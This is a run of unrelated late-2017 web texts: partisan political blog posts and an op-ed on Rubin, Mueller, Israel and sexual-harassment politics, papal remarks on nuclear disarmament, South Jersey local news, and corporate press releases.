I described her attacks in this post (scroll down to read). I am the long time reader who wrote it. John posted it for me, as I was on a leave of absence from Power Line.

Rubins most ridiculous hit piece was directed at Romney. I noted:

[Rubin] attacked Romney for kicking off his presidential campaign at the Henry Ford Museum. Romney chose this location because of his familys connection to the automobile industry, his own theme of innovation, and his desire to win votes in Michigan where he was born and raised. Noting, however, that Ford was an anti-Semite, Rubin argued that Romneys selection of this venue was indicative of a lack of sensitivity to the concerns many Jews have about their place in American society. She then projected this alleged insensitivity upon Republicans as a whole, and claimed that until Republicans overcome this perception, Jews will continue to vote Democratic. But, as the Republican Jewish Coalition pointed out at the time, Bill Clinton also praised Henry Ford. Yet Jews had no hesitation about voting for him. The flaws in Rubins hit-piece can be found in this take down by the late Dean Barnett].

By 2011, Rubin was, as Cooke says, in the tank for Romney. His alleged insensitivity to Jews and his other failings, real and imagined, had been forgotten. Rubin thus launched unfair attacks on his rivals, including the one on Rick Perry that prompted my anonymous post.

I concluded by saying that advocacy loses credibility when it becomes petty, illogical, and patently one-sided. In my view, Rubin was short on credibility in 2007-08. By 2011, she had lost all of hers.

Donald Trump poses a challenging test, I think, to those of us who write about his presidency. But Rubins difficulties shouldnt be blamed on Trump. You cant expect to pass Donald Trump when youve flunked Mitt Romney.

UDPATE: Im grateful to David Rosenfeld for sending me the link to Dean Barnetts 2007 article on Romney and Rubin. Barnett was a blogging pioneer. He is missed.
Special Counsel Robert Mueller has obtained thousands of Presidential Transition Team (or Trump for America) emails and other material from the General Services Administration, which served as their custodian. PTT lawyer Kory Langhofer set forth facts and law disputing the propriety of Muellers action in a 7-page letter released over the weekend and posted online by Axios. I want to follow up briefly with a few notes following up on my posts here and here on Sunday.

1. Langhofers letter is addressed to the chairmen and ranking members of the Senate Homeland Security Committee and the House Oversight Committee. I take it that their jurisdiction includes legislative and oversight jurisdiction with respect to the GSA. Langhofers argument is both with Mueller and with GSA staff who turned over the material to Mueller. It is not clear to me why Langhofer has chosen to raise the issues via correspondence with Congress seeking some kind of reform. Langhofers letter is nevertheless of great interest and worth reading in its entirety.

2. The gist of Langhofers argument is that the GSA served solely as the custodian of the material in issue. Langhofer states directly that the Special Counsels Office was aware that the GSA did not own or control the records in question[.]

3. In its story covering this dispute as originally posted, the Washington Post quoted a Trump adviser: This wasnt a subpoena pursuant to a grand jury. GSA just turned them over.

4. Mueller spokesman Peter Carr responded to the gist of Langhofers letter in a statement to the Washington Post: When we have obtained emails in the course of our ongoing criminal investigation, we have secured either the account owners consent or appropriate criminal process. Does that mean that Mueller obtained the material via compulsory process or that Mueller asserts the GSA owned the material? He isnt saying and the Post adds no clarity on this basic question.

5. Andrew Napolitano is the former New Jersey state court trial judge who appears on Fox News as its senior judicial analyst. Napolitano was all over Fox News yesterday asserting that Mueller obtained the material through a grand jury subpoena. See, for example, the video clip posted here. I cannot find any basis for this statement. I asked him via Twitter twice this morning @Judgenap on what basis he made this assertion; he has not responded.

6. I was particularly interested in Langhofers recitation of facts at pages 3-5 of his letter. He notes that Mueller originally sought the materials from GSA general counsel Richard Beckler. The letter provides this background:

After discussion and consideration of the issue, Mr. Beckler acknowledged unequivocally to TFAs legal counsel, in the presence of Mr. Loewentritt, that TFA owned and controlled the PTT emails and data pursuant to the Presidential Transition Act, and that the GSA had no right to access or control the records but was simply serving as TFAs records custodian. Mr. Beckler assured legal counsel for TFA, again in the presence of [GSA deputy general counsel] Mr. [Roger] Loewentritt, that any requests for the production of records would therefore be routed to legal counsel for [Trump for America, i.e., Langhofer]. In the meantime, Mr. Beckler agreed to maintain all computer equipment in a secure, locked space within GSA facilities. There are multiple surviving witnesses to this conversation, including me. Additionally, we understand that the following day, June 16, 2017, Mr. Beckler personally informed the Special Counsels Office that PTT records are not owned or controlled by the GSA, and that the Special Counsels Office should communicate with TFA if it desired to obtain PTT records.

This background is followed by this statement of facts:

It is our understanding that Mr. Beckler was hospitalized and incapacitated in August 2017. Notwithstanding Mr. Becklers June 16, 2017 instruction to the Special Counsels Office concerning the ownership and control of PTT records, the Special Counsels Office, through the Federal Bureau of Investigation (FBI), sent to the GSA two requests for the production of PTT materials while Mr. Beckler was hospitalized and unable to supervise legal matters for the GSA. Specifically, on August 23, 2017, the FBI sent a letter (i.e., not a subpoena) to career GSA staff requesting copies of the emails, laptops, cell phones, and other materials associated with nine PTT members responsible for national security and policy matters. On August 30, 2017, the FBI sent a letter (again, not a subpoena) to career GSA staff requesting such materials for four additional senior PTT members. Career GSA staff, working with Mr. Loewentritt and at the direction of the FBI, immediately produced all the materials requested by the Special Counsels Office  without notifying TFA or filtering or redacting privileged material.

I have found no reports following up on this basic factual background.

7. What is going on here? I commend columns by Andrew McCarthy at NRO and Jonathan Turley at the Hill. Robert Barnes has more here, though I dont necessarily agree with Barnes framing of the issue.

8. Andy McCarthy refers to this matter as a kerfuffle. He does not think it of great import. He knows what he is talking about and I trust his judgment. Yet it opens a revealing window on to the Mueller probe that Mueller himself would prefer to keep shut, and with good reason. It shows his conduct in a most unflattering light.
comes from Saudi Arabia. Shiite rebels in Yemen fired an Iranian-manufactured missile at the royal palace in Riyadh. It was intercepted, reportedly, just seconds before it reached its target. This follows a similar attack last month, where Yemeni rebels claimed responsibility for a missile that was aimed at Riyadhs airport but was also shot down.

These incidents highlight the fact that the Gulfs Sunni countries no longer care much about Israel. They fear Iran, and are willing to make common cause with Israel against the mullahs. This is one reason why the State Departments assumption that relations between Israel and the Palestinians is the key to peace in the region is woefully out of date.

The New York Times, similarly, hasnt gotten the message. It features a long story that depicts Palestinian refugees in Lebanon as part of the Democrats resistance to President Trump: Lebanons Palestinian Refugees Resist from the Sidelines.

[I]t was the evening of President Trumps announcement recognizing Jerusalem as the capital of Israel. The move, which Mr. Trump called a long overdue step to advance the peace process, has set off a wave of rage throughout the Palestinian community, and the wider Arab and Muslim world.

In the Timess view, all news is about Donald Trump. If it doesnt reflect badly on the administration, why bother to print it? This is a newspaper with a mission!

The protesters moved into Shatila, past sewage and jumbles of tangled, exposed electrical wire.

The Shatila refugee camp is now 68 years old. People have been born, lived and died there. Why? In particular, why do people continue to live among open sewage and jumbles of tangled, exposed electrical wire?Arabs in Israel do not live in such conditions.

I wish we never had to hear about America, said Mr. Eid as he tamped an espresso. I dont understand why America has so much say in our affairs.

Even in Lebanon, its all about Donald Trump! Of course, America has little or nothing to do with the affairs of those who live in a camp in Beirut.

More than 450,000 of five million registered Palestinian refugees worldwide live in exile in Lebanon, 69 years after they were driven from what is now Israel during the war over its founding.

It was Israel then, too, and the war over [Israels] founding was begun by Arab countries that wanted to slaughter all the Jews who lived there. To their surprise, they lost the war. Somehow, 69 years later, the New York Times and the refugees in Lebanon believe that this gives them a grievance against Israel.

Palestinians generally see Mr. Trumps announcement as the final breath of a long-stagnant peace process  and a threat to any future Palestinian state with East Jerusalem as its capital. But for refugees, it also means compromising their right of return to their families original homes in the West Bank, Gaza or Israel.

There is, obviously, no right of return. There never has been. President Trumps recognition of Jerusalem as Israels capital has little or nothing to do with that reality, but if it causes a light bulb to go on in the minds of Palestinians, that is one more fact in its favor.

Despite nearly 70 years of presence in Lebanon, the stateless refugees live under harsh conditions. They do not have the rights afforded to Lebanese citizens. They are barred from over 30 professions, including white-collar jobs in fields like medicine, law, engineering and education. They cannot own property or attend public schools, and they are not protected by labor laws.

All Israels fault, apparently. Or possibly President Trumps.

The reality is that after three wars between Israel and its Arab enemies, the Middle East has moved on. Other than the fact that it puts the Arab countries backwardness to shame, Israels existence impacts them hardly at all. They fear not Israel, but Iran. The Trump administration understands this, but a few left-wing enclaves like the State Department and the New York Times evidently still havent caught on.
Todays Pervnado Bingo winners include Ninth Circuit Judge Alex Kozinski, and apparently Dustin Hoffman, several of whose accusers appeared on NBC Nightly News to amplify their case. But did I not warn you that Al Franken wasnt actually going to go through with his resignation?

Joe Manchin: Al Franken should not resign Sen. Joe Manchin, D-W.Va., took a shot Monday at his Senate Democratic colleagues for their treatment of outgoing Sen. Al Franken, D-Minn., over their calls for him to resign in the wake of allegations of sexual misconduct, arguing that Franken should not resign and should let the Senate Ethics Committee investigation conclude. I definitely think he should not resign, Manchin told CNNs New Day on Monday, saying that it was most definitely premature for Senate Democrats to call for his removal from office after eight women accused him of improper sexual conduct. . . While Franken has not set a date to exit the Senate he is expected to resign in January. He will be replaced by Minnesota Lt. Gov. Tina Brown.

Ill believe it when I see it.

Meanwhile, I perked up a few days ago when senior Democratic Congresswoman Marcy Kaptur spoke what used to be regarded as common sense about relations between the two sexes:

Democratic lawmaker: Womens clothing an invitation to harassment A female Democratic House member shocked fellow lawmakers Wednesday when she said that the revealing clothing that some members and staffers wear is an invitation to sexual harassment. Rep. Marcy Kaptur (D-Ohio) made the comments during a private Democratic Caucus meeting Wednesday to discuss sexual harassment issues, according to two Democratic sources in the room. I saw a member yesterday with her cleavage so deep it was down to the floor, Kaptur said, according to the sources present. And what Ive seen  its really an invitation. The comments left many others in the room stunned, the sources said. Kaptur said women on Capitol Hill should have to abide by a stricter dress code, like those adopted by the military or corporations. Maybe Ill get booed for saying this, but many companies and the military [have] a dress code, she said. I have been appalled at some of the dress of  members and staff. Men have to wear ties and suits.

Well, it didnt take long for the feminist thought police to get to her:

Female Dem lawmaker walks back comments on womens wardrobes being an invitation to harassment Democratic Rep. Marcy Kaptur of Ohio came under fire after telling colleagues in a closed-door meeting on Wednesday that the way some women on Capitol Hill dress is an invitation to sexual harassment. Nearly everyone in the rooms mouths were wide open aghast, one Democratic source told Politico. The backlash was swift  and Kaptur released a statement that detailed the mistreatment she experienced when she was first elected to Congress in 1983. I became a refuge for female staffers who had been mistreated by their bosses, some of them in tears many days, she said. It is something I carry with me to this day and something I brought up during our Caucus meeting. She added that under no circumstances is it the victims fault if they are harassed in any way.

Glad we got that cleared up.
"A CERTAIN PESSIMISM"

A certain pessimism might make us think that "prospects for a world free from nuclear arms and for integral disarmament" ... appear increasingly remote. Indeed, the escalation of the arms race continues unabated and the price of modernizing and developing weaponry, not only nuclear weapons, represents a considerable expense for nations.

"SECOND PLACE"

As a result, the real priorities facing our human family, such as the fight against poverty, the promotion of peace, the undertaking of educational, ecological and healthcare projects, and the development of human rights are relegated to second place...

"FIRMLY CONDEMNED"

Nor can we fail to be genuinely concerned by the catastrophic humanitarian and environmental effects of any employment of nuclear devices. If we also take into account the risk of an accidental detonation as a result of error of any kind, the threat of their use, as well as their very possession, is to be firmly condemned.

"MENTALITY OF FEAR"

For they exist in the service of a mentality of fear that affects not only the parties in conflict but the entire human race.

"FALSE SENSE OF SECURITY"

International relations cannot be held captive to military force, mutual intimidation, and the parading of stockpiles of arms. Weapons of mass destruction, particularly nuclear weapons, create nothing but a false sense of security. They cannot constitute the basis for peaceful coexistence between members of the human family, which must rather be inspired by an ethics of solidarity...

"THE NEW NAME OF PEACE"

This year marks the fiftieth anniversary of the Encyclical Letter Populorum Progressio of Pope Paul VI. That Encyclical, in developing the Christian concept of the person, set forth the notion of integral human development and proposed it as "the new name of peace".

MAKING PROGRESS

... Progress that is both effective and inclusive can achieve the utopia of a world free of deadly instruments of aggression, contrary to the criticism of those who consider idealistic any process of dismantling arsenals.

TIMELY TEACHING

The teaching of John XXIII remains ever valid... He stated: "Unless this process of disarmament be thoroughgoing and complete, and reach men's very souls, it is impossible to stop the arms race, or to reduce armaments, or and this is the main thingultimately to abolish them entirely" (Pacem in Terris, April 11, 1963).

(Source: Address to participants in the international symposium, "Prospects for a World Free of Nuclear Weapons and for Integral Development" 11/10/2017)
GALLOWAY TOWNSHIP  Stockton Universitys already popular Educational Opportunity Fund program will grow next year with a focus on Atlantic City, the college announced.

At its Friday meeting at Rider University, the state Educational Opportunity Fund Board approved the new EOF program for 50 students to be housed on the new Atlantic City campus, expected to open in fall 2018.

The new EOF-AC program will be a gateway to opportunity for the young people who will be our regions future leaders, Stockton President Harvey Kesselman said. Our EOF students enrich our campus, and we look forward to welcoming a new cohort of young men and women who will also be actively involved in revitalizing Atlantic City and South Jersey.

Stocktons EOF program has about 350 students enrolled at the main Galloway campus. The program provides financial and educational assistance to eligible individuals pursuing a degree in higher education. They also receive mentoring.

Each year, more than 80 freshmen participate in an EOF summer academy at Stockton, where they take two classes, to prepare them for the school year.

In the spring 2018 semester, New Jersey will provide almost $57,000 to support recruiting and start-up costs for the new program. Then, Stockton will receive $75,000 to fund the program in 2018-19.

Recruitment for Stocktons new EOF-AC program will focus heavily on Atlantic City and Pleasantville, the university said. An effort will also be made to reach students who are aging out of foster care and need additional support to attend college.

Each year, about 13,000 New Jersey students participate in the EOF program, according to the New Jersey Office of the Secretary of Higher Education. In 2015, the program had a budget of $40.4 million. Those funds were allocated to 61 programs at 28 public and 13 independent institutions throughout the state.

The EOF program dates to 1968. The six-year graduation rate for low-income EOF students at four-year public schools in New Jersey is 55 percent.
GALLOWAY TOWNSHIP  With all the commercialization of the holiday season, it only costs a little bit of time and no money to enjoy Jeanie Collins annual Winter Solstice Labyrinth of Lights.

The display returns for the second consecutive year to a field behind the Germania Volunteer Fire Company building in the townships Cologne section.

Collins display will feature 850 candles and can be viewed from 5 to 9 p.m. Thursday. The rain date is Friday.

Never has someone said it was a waste of time, said Collins, a township resident.

The display is a labyrinth, not a maze, she said.

You dont get lost in a labyrinth. You put one foot in front of the other and just walk, said Collins, a Presbyterian minister who is also the chaplain at Rutgers University at New Brunswick, Middlesex County.

Since a person does not have to make decisions on which way to go, it allows the 15- to 20-minute walk to be meditative, Collins said.

About 60 people visited her creation last year, largely hearing about it through word of mouth, and she said she hopes more visitors and residents will check it out this year.

Collins said she spends most of the day building the labyrinth, from 10 a.m. to 5 p.m.

The last thing I do is light it, Collins said. Strangers have helped me light it.

When people walk the labyrinth, Collins recommends they stop at each turn and pause to think about a turning point in the past year of their lives, both good and bad.

When they walk out of each turn, Collins suggests people ask themselves what they will take with them from this year into next year.

Collins spent time living in Scotland. She believes she was inspired to create her own labyrinths by seeing one there that had flames shooting a foot high. The next day, there was no evidence of it.

I like for them to appear and disappear, Collins said.

In the past, Collins surrounded her candles with sand inside of a paper bag. This time, she ordered her candles from a company in North Carolina. They will each be inside their own plastic container.

Collins will bring her candles to the field in one trip in a pickup truck. She said she does the layout herself. The rows will be 3 feet wide, which she said would be wide enough to accommodate wheelchairs.

Collins constructed her labyrinth behind the fire company building for the first time in 2013, and again last year. The labyrinth was built in 2014 and 2015 on the Brigantine beach by request, Collins said.

In Germania, you can make it much bigger, said Collins, who added she has built labyrinths at Rutgers. In Brigantine, it was not as big.

Once all the candles are lit, a Germania volunteer firefighter will be on the scene as a precaution, but if a candle blows over, the sand that surrounds it puts it out, Collins said.

Labyrinths were constructed during the Dark Ages throughout Europe, and there were some that predated Christianity, Collins said.

Collins does not have an established design for the labyrinth that she re-creates annually.

They are always a little bit different. Thats part of the magic. It happens very organically, Collins said.
George Fisher and AC Chefs on a Mission

For the past four years, executive chef George Fisher has organized a massive effort to feed thousands in Atlantic City during the holidays.

Fisher, the executive chef at Spectra food services, leads AC Chefs on a Mission, a collection of chefs, volunteers and vendors.

The donations come from all around, enough to provide 1,800 meals for Christmas.

Besides food, an army of culinary volunteers gathers each year right before the holidays and prepares the meals.

This holiday spirit keeps growing every year, Fisher said.

For more about AC Chefs on a Mission, or to donate, go to their Facebook page. Contributions can also be made to the Atlantic City Rescue Mission online at ACRescue Mission.org and food donations can be made to the Mission at 2009 Bacharach Blvd., Atlantic City.

 Maxwell Reil
MARGATE  Police said Monday they are investigating the vandalism of three prominently displayed menorahs that was reported during Hanukkah, the Jewish Festival of Lights.

It is possible that this might be an act of anti-Semitism, said Cantor Ralph Goren, of Beth El Synagogue.

Menorahs were vandalized outside the Milton and Betty Katz Jewish Community Center, which is across the street from Beth El on Jerome Avenue, the Sigmund S. Rimm Recreational Complex on Winchester Avenue and the city fishing pier.

Photographs of the damage provided to The Press of Atlantic City show arms of the menorah broken off at the JCC. Other photographs show similar damage, including a menorah that was knocked over and glass broken.

Mayor Michael Becker and police Chief David Wolfson did not return calls for comment.

Detective Chris Taronchier is heading the investigation, according to police, who referred additional questions to him Monday night.

Jack Fox, CEO of the JCC, said Monday the menorah outside the JCC has been repaired.

State Sen. Colin Bell, a city resident and member of the JCC, said in a statement Monday, Hate has no home in our community, period.

During Hanukkah, we dedicate ourselves to shining the light on those who are persecuted, and no act of anti-Semitic vandalism will stop us from doing that. Together, as a community, we will continue to persevere, as we have for thousands of years, he said.
PORT REPUBLIC  An elementary school choir director has been arrested and charged with sexually assaulting a young boy twice a week for three years, State Police said Tuesday.

Brian McSee, 53, of Port Republic, turned himself in to State Police at the Tuckterton Station on Dec. 13. McSee is charged with aggravated sexual assault, official misconduct, criminal sexual contact and endangering the welfare of a child.

Sgt. Lawrence Peele said McSee was the boys seventh- and eighth-grade choir director at Port Republic Elementary School, as well as the choir director at the childs church, St. Pauls United Methodist.

Attempts to contact church pastor the Rev. Frank Brown Tuesday night were unsuccessful.

Mayor Gary Giberson said he knew McSee and the situation has beaten me apart.

He lived with our pastor and was very close to the whole church, Giberson said. We went to church Sunday, and this was discussed there.

Giberson said he feels like hes been pulled both ways on the issue because McSee was a prominent member of the community. According to public records, McSee moved to Atlantic County from Indiana in 2009.

Im the mayor, and Im personally responsible for safety, he said. Im just shocked at the whole thing.

He said the school board is in the process of notifying parents.

The interim superintendent and principal of the school, Carmine Bonanni, could not be reached for comment Tuesday night.

McSee is being held at the Atlantic County jail in Mays Landing, pending a mandatory court appearance.

State Police ask anyone with information regarding inappropriate behavior or interactions with McSee to call the Tuckerton Station Detective Bureau at 609-296-5807.
LOWER TOWNSHIP  A man who died and another who was seriously injured after being hit by a car were identified Monday as residents of housing for people with intellectual and developmental disabilities.

John Thompson died in the Saturday crash on Route 9 South in North Cape May and the other man, Charles Mittleberger, 65, remained in the hospital Monday, police Sgt. John Chew said. The crash happened within a short distance of the Channels Apartments.

Police are not releasing Thompsons age because his family does not want that information revealed, Chew said.

Police said both men were attempting to cross Route 9 South. They were seen standing on a concrete median in the middle of the intersection before they entered the road and were hit by a Nissan Murano, police said in a statement.

Thompson and Mittleberger lived at the Channels Apartments, which are adjacent to the site of the crash, building manager Kim McClintock said. She said they lived in apartments managed by the Arc, an organization aimed at helping people with mental disabilities.

They live independently, but they have counselors who oversee them, McClintock said.

Representatives of the Arc of Cape May County did not immediately return a request for comment.

The county Arc runs group-home and supervised apartment programs where staff members help and assist residents, according to the organizations website.

McClintock said a portion of the Channels complex is used by Arc.

Thompson and Mittleberger were taken by helicopter to AtlantiCare Regional Medical Center, City Campus, after being struck at 5:21 p.m. at Route 9, also known as Ferry Road, and Bayshore Road, police said.

Chew said Thompson was pronounced dead several hours later. Mittleberger was in critical condition Sunday, but his status has been upgraded to stable, Chew said.

No one has been charged in the crash, and Chew said the department does not anticipate any criminal charges.

Police said witness testimony and video surveillance showed the car had the right of way because the light was green throughout the incident.

The intersection is wide, with multiple lanes on each side of Ferry Road and traffic flowing from the nearby Cape May-Lewes Ferry Terminal and multiple shopping plazas.

Its a large intersection, Chew said. Theres nothing that makes it any more dangerous than any other intersection in our township.

Its just a very unfortunate situation that occurred, he added.

Amanda Smith, who lives at the Channels Apartments but not in the Arc section, said she gets nervous crossing the intersection with her three young children.

People are careless, said Smith, 22. It doesnt seem like anyone pays attention if people are crossing or not.
PLEASE BE ADVISED: Soon we will no longer integrate with Facebook for story comments. The commenting option is not going away, however, readers will need to register for a FREE site account to continue sharing their thoughts and feedback on stories. If you already have an account (i.e. current subscribers, posting in obituary guestbooks, for submitting community events), you may use that login, otherwise, you will be prompted to create a new account.
U.S. Rep. Frank LoBiondo announced he will vote against the Republican-backed tax plan Tuesday that President Donald Trump and Republican leadership have said they hope to pass and have signed before Christmas.

LoBiondo, R-2nd District, said while the final bill is an improvement over the one the House of Representatives passed in November, the $10,000 cap on state and local income tax and property tax was a deal-breaker in his final decision.

When the tax-reform debate began, I made clear what I could and could not support in a final bill. Hard-working South Jersey residents already face excessive taxes from Trenton, thus preserving key deductions at the federal level would be critical to garner my support, LoBiondo said in a statement. While improvements have been made from the House-passed version to retain deductions for medical and educational expenses, the $10,000 collective cap on state and local income tax and property tax deductions will be detrimental in my high-tax state of New Jersey. I will be voting NO as it is in the best interest of my South Jersey constituents.

A representative for U.S. Rep. Tom MacArthur, R-3rd District, did not respond to a request for comment. MacArthur did, however, vote in favor of the original tax plan that passed the House of Representatives in November.

For Trump, passing the tax bill would be the first major legislative victory of his presidency as he enters his second year in office.

The tax plan, which would significantly change the federal tax structure in the United States, permanently slashes the tax rate for corporations from 35 percent to 21 percent and reduces rates on the wealthiest Americans, while making more modest tax reductions for most others.

The tax cuts for individuals are temporary, expiring in 2026. It doubles the standard deduction used by most Americans, to $24,000 for married couples, also ending in eight years.

Projections by the Tax Policy Center, a group of nonpartisan tax analysts, say that individual taxes would be reduced next year by $1,600 on average.

That ranges from $60 for people earning below $25,000 to $7,640 for those making above $149,000, according to the projections. Those in the top 1 percent  earning over $733,000  would see average tax cuts of $51,140.

After the individual cuts expire, the projections found, average taxes would rise for everyone earning under $75,000 by 2027.

The bill is projected to boost federal budget shortfalls by nearly $1.5 trillion over the coming decade.

Both the House and Senate plan to vote on the legislation Tuesday.

No Democrats are expected to vote for the bill in the Senate. Thirteen House Republicans voted against the House bill last month, all but one from high-tax California, New York and New Jersey in protest of reduced deductions for state and local taxes. But the math clearly will carry the package through Congress.

LoBiondo was one of the Republicans who voted against the bill following fierce backlash from residents and state lawmakers in New Jersey.

Many of the concerns from New Jersey residents revolve around the partial elimination of the state and local tax deduction, also known as SALT. Others, however, say the bill is nothing more than a gift to wealthy individuals and large corporations.

Earlier this month, local residents held a rally outside LoBiondos office protesting the bill.

Im really glad (LoBiondo) will vote against this, but Im hoping that he can convince some of his colleagues to do the same, said Caren Fitzpatrick, a Democratic freeholder-elect in Atlantic County and one of the organizers of the rally earlier this month. I think he has responded to the public outcry, and hes been explaining his decisions much more on (social media) recently.

LoBiondo, who will retire at the end of his current term, also voted against repealing and replacing the Affordable Care Act earlier this year, stating he did not think the GOP healthcare plan was right for the district and that it would kick people to the curb.

On Monday, moderate Sen. Susan Collins, R-Maine, said shed support the tax bill, meaning all voting Republicans are expected to back it, enough for passage. Sen. John McCain, R-Ariz., is at home battling brain cancer and is expected to miss the vote. The Republican Party controls the Senate 52-48.

The Associated Press contributed to this report.
New Yorks Sen. Kirsten Gillibrand is spearheading a McCarthyite purge of sexual harassers from Congress, throwing the nations capital into turmoil. What counts as sexual harassment? Good question. Men accused of boorish gestures or vulgar remarks face the same disgrace as outright rapists. And never mind if the accusations lack proof and the accusers remain anonymous.

Consider the charges dredged up again this week against President Trump. You heard them last year when he was campaigning for president. One accuser, Jessica Leeds, said that more than 30 years ago Trump groped her on a plane. But reporters were not able to confirm the flight, date or even year the incident was supposed to have occurred and couldnt track down one witness to support her story.

The same was true with the other accusers. No facts.

No wonder the public dismissed the claims and elected Trump.

Monday, Leeds and two other accusers reiterated their old, unsubstantiated charges at a press conference. In response, six Democratic senators, including Gillibrand, are calling for Trump to step down from the presidency. Its as if the #MeToo movement lessens the standard of proof and makes due process unnecessary.

Thats whats happening in Congress. Take the anonymous former campaign worker whos accusing Rep. Ruben Kihuen, D-Nev., of touching her thigh twice, making her feel uncomfortable. Kihuen denies it, but House minority leader Nancy Pelosi commends the woman for coming forward (anonymously?) and demands that he resign.

What about Kihuens right to a fair hearing and the presumption of innocence? Pelosi and the sex vigilantes are all too ready to toss due process in the wastebasket.

Gillibrand conceded Sen. Al Franken, D-Minn., was entitled to a Senate Ethics Committee investigation, but last week, she was out front bullying him into resigning. Thats like saying the accused is entitled to a fair trial, but lets execute him first.

Same thing happened to John Conyers, D-Mich., who insisted on his own innocence and at first rejected calls to resign. Ultimately, he was forced out on Dec. 5.

Franken is alleged to have forcibly kissed a fellow actor, and touched several women inappropriately during photo-ops. One accuser says when we posed for the shot he immediately put his hand on my waist, grabbing a handful of flesh. I froze. Then he squeezed. At least twice. Thats it?

Rep. Blake Farenthold, R-Texas, is accused of bantering that he had wet dreams about a female staff member, who says she was fired for complaining about it. Farentholdt denies it. Yet Republican Mia Love, R-Utah, striving to keep up with sex bully Gillibrand, is calling on Farenthold to step down immediately, without a House Ethics Committee hearing.

Then theres Rep. Trent Franks, R-Texas. Distressed that he and his wife cant conceive, he asked two office aides to bear his child as a surrogate, offering one of them $5 million. Last week, House Speaker Paul Ryan, not to be outdone by the sex vigilantes on the left, demanded Franks resign for his blundering behavior.

A fair penalty? Since the Civil War, only two members of Congress have been expelled, both for multiple felonies like bribery and tax evasion. Even New York Congressman Charlie Rangel, found guilty of 11 counts of violating congressional ethics rules in 2010, was only censured, not asked to resign.

Only once did Congress threaten a member with expulsion for sexual misconduct. In 1995, the Senate ethics committee voted to expel Sen. Bob Packwood, R-Ore., after reviewing 10,145 pages of evidence, of habitual pattern of aggressive, blatantly sexual advances and destruction of evidence. They had the goods on him.

Sexual harassment holds women back. Good riddance to it. But in the zeal to right that wrong and to preen as defenders of women, politicians are trampling American values  due process, the presumption of innocence and enacting penalties that fit the crimes. These are too precious to lose.

Email Betsy McCaughey, a senior fellow at the London Center for Policy Research and a former lieutenant governor of New York State, at betsy@betsymccaughey.com.
The analysis used fractional crystallization and ion exchange resins to purify the lithium carbonate to higher than 99.5% Lithium Carbonate. The work was conducted in Salta and will be replicated at Guayatayoc at a later stage to ensure that the reduction in air pressure has no material impact.

The project is located in Jujuy Province along highway 11, 15 kilometres from the town of Abralaite in the Puna plateau at 3,412m. The completion of this work allows the project team led by Phil Thomas, COO to focus on drilling, and production geohydrology when permits are issued.

This concentrate will be converted into lithium carbonate samples for customers globally to begin qualifying AIS's lithium products. Samples will be provided to those companies that have expressed interest in buying the lithium carbonate for their assessment. The pilot plants we have access to have a production capacity of approximately 500kg per week. Full sample production will commence in the new year.

Phil Thomas stated "This is a significant milestone we've achieved. We now have proof of process, that can be scaled up to 10,000 tonnes. The data we have is extremely valuable covering all the phases in the process, and after pumping tests are completed will allow us to go to design, engineering and construction. We are making good progress on our drilling application and will commence drilling Guayatayoc as soon as it is granted. Having immediate access to large pilot plants and a laboratory has saved many hours of downtime and allowed us to complete raw material calculations and manage various brine concentrations. We are delighted with our results."

Qualified Person

Phillip Thomas, BSc Geol, MBusM, MAIG, MAIMVA, (CMV), a Qualified Person as defined under NI 43-101 regulations, has reviewed the technical information that forms the basis for portions of this news release, and has approved the disclosure herein. Mr. Thomas is not independent of the Company as he is an officer and shareholder.

On Behalf of the Board of Directors,

A.I.S. Resources Limited



Marc Enright-Morin

President and CEO

About A.I.S. Resources

A.I.S Resources Limited a TSX-V listed investment issuer, was established in 1967 and is managed by experienced, highly qualified professionals who have a long track record of success in lithium exploration, production and capital markets. Through their extensive business and scientific network, they identify and develop early stage projects worldwide that have strong potential for growth with the objective of providing significant returns for shareholders. The Company's most recent activities have been the exploration of lithium properties in Northern Argentina.

ADVISORY: This press release contains forward-looking statements. More particularly, this press release contains statements concerning the anticipated use of the proceeds of the Private Placement. Although the Corporation believes that the expectations reflected in these forward-looking statements are reasonable, undue reliance should not be placed on them because the Corporation can give no assurance that they will prove to be correct. Since forward-looking statements address future events and conditions, by their very nature they involve inherent risks and uncertainties. The intended use of the proceeds of the Private Placement by the Corporation might change if the board of directors of the Corporation determines that it would be in the best interests of the Corporation to deploy the proceeds for some other purpose. The forward-looking statements contained in this press release are made as of the date hereof and the Corporation undertakes no obligations to update publicly or revise any forward-looking statements or information, whether as a result of new information, future events or otherwise, unless so required by applicable securities laws. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Contact

A.I.S. Resources LimitedMarc Enright-Morin

President and CEO

T: 778-892-5455

E: memorin@aisresources.com

W: www.aisresources.com

Related Links

http://www.aisresources.com



SOURCE A.I.S. Resources Limited
This distinction, the highest within the global spirits industry, is the most powerful endorsement of Flor de Cana's quality and excellence. Flor de Cana, a 5 th generation single family estate rum, is naturally aged without sugar, additives or artificial ingredients, enriched by an active volcano and distilled with 100% renewable energy.

About Flor de Cana Rum

Flor de Cana, Nicaragua's #1 exported brand, is present in over 40 countries worldwide and is one of the fastest growing premium rum brands in the United States. With more than 125 years and 5 generations of family tradition, Flor de Cana has been recognized as the world's best rum in prestigious international competitions in London, Madrid, San Francisco and Chicago. Flor de Cana, the leading premium rum in Central America, is manufactured and distributed by Compania Licorera de Nicaragua, S.A. (CLNSA).

Photo - https://mma.prnewswire.com/media/621271/Flor_de_Cana_2.jpg

Related Links

http://www.flordecana.com



SOURCE Flor de Cana
(Logo: http://mma.prnewswire.com/media/621071/ETH_Zurich_Logo.jpg )

(Photo: http://mma.prnewswire.com/media/621070/Dextra.jpg )

(Photo: http://mma.prnewswire.com/media/621069/AnyMal.jpg )

In Davos for the WEF Annual Meeting? From world leaders to the next generation of digital natives and from robotics experts to neuroscientists, ETH Zurich invites the world to come out to play during the World Economic Forum Annual Meeting 2018 in Davos, Switzerland. The ETH Zurich Pavilion becomes an experimental lab of interactive exhibits delving into the inner-workings of the brain and tantalizing the taste buds in its TasteLab cafe.

Invitation to Press Exclusive

Monday, January 22nd, 2018

17:00 - 18:30 (networking until 21:00)

